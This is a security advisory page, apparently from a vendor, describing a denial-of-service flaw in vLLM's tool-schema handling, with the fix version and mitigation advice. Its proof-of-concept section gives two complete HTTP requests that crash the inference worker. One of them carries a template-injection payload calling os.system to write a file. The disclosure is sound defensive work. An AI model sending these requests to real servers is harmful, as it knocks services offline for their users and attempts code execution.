GHSA-vrq3-r879-7m65
MEDIUMGHSA-vrq3-r879-7m65 is a medium-severity (CVSS 6.5) Improper Input Validation vulnerability in vllm. O3 Security confirms whether GHSA-vrq3-r879-7m65 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
vLLM Tool Schema allows DoS via Malformed pattern and type Fields
Blast Radius
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Description
Summary
The vLLM backend used with the /v1/chat/completions OpenAPI endpoint fails to validate unexpected or malformed input in the "pattern" and "type" fields when the tools functionality is invoked. These inputs are not validated before being compiled or parsed, causing a crash of the inference worker with a single request. The worker will remain down until it is restarted.
Details
The "type" field is expected to be one of: "string", "number", "object", "boolean", "array", or "null". Supplying any other value will cause the worker to crash with the following error:
RuntimeError: [11:03:34] /project/cpp/json_schema_converter.cc:637: Unsupported type "something_or_nothing"
The "pattern" field undergoes Jinja2 rendering (I think) prior to being passed unsafely into the native regex compiler without validation or escaping. This allows malformed expressions to reach the underlying C++ regex engine, resulting in fatal errors.
For example, the following inputs will crash the worker:
Unclosed {, [, or (
Closed:{} and []
Here are some of runtime errors on the crash depending on what gets injected:
RuntimeError: [12:05:04] /project/cpp/regex_converter.cc:73: Regex parsing error at position 4: The parenthesis is not closed. RuntimeError: [10:52:27] /project/cpp/regex_converter.cc:73: Regex parsing error at position 2: Invalid repetition count. RuntimeError: [12:07:18] /project/cpp/regex_converter.cc:73: Regex parsing error at position 6: Two consecutive repetition modifiers are not allowed.
PoC
Here is the POST request using the type field to crash the worker. Note the type field is set to "something" rather than the expected types it is looking for: POST /v1/chat/completions HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0 Accept: application/json Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: Content-Type: application/json Content-Length: 579 Origin: Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Priority: u=0 Te: trailers Connection: keep-alive
{ "model": "mistral-nemo-instruct", "messages": [{ "role": "user", "content": "crash via type" }], "tools": [ { "type": "function", "function": { "name": "crash01", "parameters": { "type": "object", "properties": { "a": { "type": "something" } } } } } ], "tool_choice": { "type": "function", "function": { "name": "crash01", "arguments": { "a": "test" } } }, "stream": false, "max_tokens": 1 }
Here is the POST request using the pattern field to crash the worker. Note the pattern field is set to a RCE payload, it could have just been set to {{}}. I was not able to get RCE in my testing, but is does crash the worker.
POST /v1/chat/completions HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0 Accept: application/json Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: Content-Type: application/json Content-Length: 718 Origin: Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Priority: u=0 Te: trailers Connection: keep-alive
{ "model": "mistral-nemo-instruct", "messages": [ { "role": "user", "content": "Crash via Pattern" } ], "tools": [ { "type": "function", "function": { "name": "crash02", "parameters": { "type": "object", "properties": { "a": { "type": "string", "pattern": "{{ import('os').system('echo RCE_OK > /tmp/pwned') or 'SAFE' }}" } } } } } ], "tool_choice": { "type": "function", "function": { "name": "crash02" } }, "stream": false, "max_tokens": 32, "temperature": 0.2, "top_p": 1, "n": 1 }
Impact
Backend workers can be crashed causing anyone to using the inference engine to get 500 internal server errors on subsequent requests.
Fix
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | vllm | ≥ 0.8.0&&< 0.9.0 | 0.9.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for vllm. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update vllm to 0.9.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-vrq3-r879-7m65 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-vrq3-r879-7m65 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-vrq3-r879-7m65. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-vrq3-r879-7m65 in your dependencies?
O3 detects GHSA-vrq3-r879-7m65 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.